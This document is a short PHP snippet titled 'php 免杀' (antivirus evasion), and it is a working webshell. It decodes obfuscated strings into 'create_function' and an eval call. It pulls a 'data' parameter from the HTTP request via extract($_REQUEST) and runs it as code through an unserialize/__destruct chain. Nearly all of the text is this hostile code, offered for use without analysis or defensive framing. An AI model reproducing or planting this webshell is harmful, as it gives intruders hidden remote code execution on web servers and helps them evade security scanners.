php 免杀

<?php
class facai{
var $text = "";
var $func;
public function setText($text){
    $this->text=$text;
}
 public function __destruct()
{
    $this->poc($this->text);    
}

function encode($string = '', $skey = 'wenzi') {
    $strArr = str_split(base64_encode($string));
    $strCount = count($strArr);
    foreach (str_split($skey) as $key => $value){
     $key < $strCount && $strArr[$key].=$value;
    }
    return str_replace(array('=', '+', '/'), array('O0O0O', 'o000o', 'oo00o'), join('', $strArr));
}
static function  decode($string = '', $skey = 'wenzi') {
    $strArr = str_split(str_replace(array('O0O0O', 'o000o', 'oo00o'), array('=', '+', '/'), $string), 2);
    $strCount = count($strArr);
    foreach (str_split($skey) as $key => $value){
     $key <= $strCount && $strArr[$key][1] === $value && $strArr[$key] = $strArr[$key][0];
    }
    return base64_decode(join('', $strArr));
}
public function poc($text){
    $a = 1+2;
    $funcName='Yw3eJnlzYiXRlX2Z1bmN0aW9u';
    $code = 'ZwXeZnhzbiCgkYS4nJyk7';
    $func = call_user_func($this->decode($funcName),'$a',$this->decode($code));
    $func($text);    
}

}
extract($_REQUEST);
$len = strlen($data);
$ClassText = 'O:5:"facai":1:{s:4:"text";s:'.$len.':"'.$data.'";}';
unserialize($ClassText);